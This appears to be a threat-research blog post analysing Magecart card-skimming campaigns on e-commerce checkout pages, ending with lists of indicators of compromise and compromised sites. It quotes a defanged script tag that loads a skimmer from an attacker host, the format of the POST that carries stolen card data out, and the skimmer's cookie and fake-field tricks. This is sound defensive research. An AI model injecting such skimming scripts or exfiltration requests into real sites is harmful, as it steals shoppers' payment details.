Magecart is a hacker group known for skimming credit or debit card details by injecting malicious JavaScript code into e-commerce sites. Back in September 2018, the Zscaler ThreatLabZ research team published a blog on Magecart activity that analyzed its attack methods and evasion tactics. We are now following up on that blog to report on recent activity we’ve seen and some enhancements in the campaign.
Magecart attack chain
In the recent campaign, we noticed a change in the attack chain. One example is the use of heavily obfuscated JavaScript with encrypted data. Also, in some cases, the malicious JavaScript code is now being injected directly in the compromised e-commerce sites, whereas in earlier attacks, the malicious code was injected remotely.
Fig 1: Hits of compromised websites in the last three months
1. Injecting heavily obfuscated malicious JavaScript dynamically
The below credit card stealer JavaScript payload is dynamically loaded when the victim presses the checkout button after loading the cart.
Fig 2: Heavily obfuscated malicious JavaScript code injected on the checkout page
The ThreatLabZ team’s smart crawler with heuristic detection shows that various JavaScript functions are obfuscated in the payload.
Fig 3: Crawler’s heuristic detection
Fig 4: Malicious script after three levels of deobfuscation by the crawler.
Analysis of the skimming toolkit
The above discussed malicious script looks for the keywords “onepage|checkout|onestep|firecheckout” in the URL and, if found, injects another script from hxxps://dnsden[.]biz/a.js.
Fig 5: Script injected from hxxps://dnsden[.]biz
The above injected obfuscated script hxxps://dnsden[.]biz/a.js contains encrypted data which is decrypted by the RC4 algorithm in the runtime.
Fig 6: Use of RC4 algorithm in ‘a.js’
The encrypted data in ‘a.js’ script after RC4 decryption ends up injecting the main skimming script, which is responsible for extracting and sending the victim's credit card details back to the attacker.
Encrypted data - w5rDvcOKwrnCnsKYcWHCgAcaUsOFVcOQXnZpw48KfjZ/CMObMMOiwq7Cm1XDvFDCl8KBEsKRE8Oyw6krWcK0wo1Xw7J+w6/DknoJasKVScKZOhzCoRI=
Decrypted data - <script src="hxxps://dnsden[.]biz/js/universal.js"></script>
The ‘universal.js’ is also obfuscated and has the same encryption algorithm as ‘a.js’. After decryption, it calls a function on the form change event and collects all the payment info entered by the victim.
Fig 7: Collecting payment card details
Fig 8: Sends victim’s credit card details to C&C
Fig 9: POST request with the stolen credit card details
info=Base64(stolen_data)&hostname=compromised_site&key=random_key
Stolen data includes billing and payment details.
Fig 10: Decoded stolen data
2. Injecting malicious JavaScript directly in the compromised site
Fig 11: Malicious JavaScript code hosted on the compromised e-commerce site is injected
Fig 12: Malicious JavaScript code hosted on a compromised site for skimming payment card details
Analysis of the skimming toolkit
The malicious JavaScript code first checks for the two cookie names “$s” and “$sent”; if these cookies are set, data is stored into variable after decoding. These cookie values are referred to each time any payment card details are being entered, and values are updated if the payment card details are new.
Fig 13: Getting values from the two cookie names “$s” and “$sent”
To get payment card details, data from all the tags, such as input, select, and text area, are stored and the script undergoes a basic length check on the card details.
Fig 14: Validating length of payment card details
After validating payment card details, a hash of the card details is calculated and checked to determine if the same hash value is available in the data retrieved from the cookie “$sent” earlier. Payment details are dropped if any hash match is found.
Fig 15: Checking the hash value of card details against data retrieved earlier from the cookie
Each time any new payment card details are entered, the details are sent to the attacker and the hash value for these details is appended to the cookie value “$sent”; this cookie value is used to check if the details being entered are new.
Fig 16: Value of the cookie “$sent” stored in the victim's browser
On decoding the above Base64 encoded value of the cookie “$sent,” we get the MD5 array of the payment card details. By storing the encrypted payment card details as a cookie, the attacker has added the ability to drop duplicate details being sent to the attacker, as payment details are always checked against the cookie value and only unique card details are sent to the attacker.
After all the above checks are encoded, the payment card details are sent to the attacker-controlled site.
Fig 17: GET request with the stolen information
In a similar skimming toolkit, along with the above-discussed cookie logic, attackers are injecting fake payment card fields into the compromised site and hiding legitimate fields once the victim selects credit card as the payment method.
Fig 18: Fake credit card details field and malicious JavaScript file
Fig 19: HTML code for the fake credit card details fields in the malicious script
Fig 20: Malicious script injecting the fake credit card details fields
Fig 21: Above, injected credit card fields; below, legitimate credit card fields
The injected and legitimate credit card fields look similar, but from the HTML input field attributes (ID and type), there are noticeable differences. In the injected fields, the card number ID is "_ccnumber" and the type is "text," while in a legitimate card number, the ID is "credit-card-number" and the type is "tel."
IOCs
dnsden[.]biz
jquery-bin[.]com/gate[.]php
lumbertrans[.]com/errors/default/gate[.]php
luxbagsgirl[.]com/errors/default/gate[.]php
jsreload[.]pw/gate[.]php
saterday-race[.]com/gate[.]php
jqueryextd[.]at/gate[.]php
routingzen[.]com/gate[.]php
mz-at-shop[.]de/errors/default/gate[.]php
93[.]187[.]129[.]249/gate[.]php
developer-js[.]info/gate[.]php
google-anaiytic[.]com/fonts[.]googleapis/gate[.]php
magento-analytics[.]com/gate[.]php
gtows[.]com
Compromised sites
shop.triggerbrothers[.]com[.]au
custommagnetsdirect[.]com
lumbertrans[.]com
sunbuggy[.]com
saterday-race[.]com
windblox[.]com
cakedecoratingsolutions[.]com[.]au
network-ed[.]com[.]au
adooq[.]com
mz-at-shop[.]des
reddotarms[.]com
sprucela[.]com/
t[.]cltradingfl[.]com
worldcraftindustries[.]com
reallifecatholic[.]com
wbminternational[.]com
whistlerrides[.]ca/
smartsilk[.]com/
classictruckglass[.]com
oconnellsclothing[.]com/skin/
purefruittechnologies[.]com/
cornerstone-arch[.]com
minitruckusa[.]com
magformers[.]com
ravishingcosmetics[.]com
alamoshoes[.]com/
salonsavings[.]com/
bathroompanelsuperstore[.]com
britishfitness[.]com
bumperworksonline[.]com
niftyconcept[.]com
cornerstone-arch[.]com
decorprice[.]com
Conclusion
These new developments in an ongoing campaign illustrate some of the ways that attackers are continuously enhancing their methods for stealing sensitive information like login credentials, bank or payment card details, personally identifiable information, and so on. The Magecart campaign has been active for a long time and continues to evolve and hone its techniques to get better at stealing payment card information and related data.
Zscaler ThreatLabZ actively tracks such campaigns and protects customers from these types of attacks.
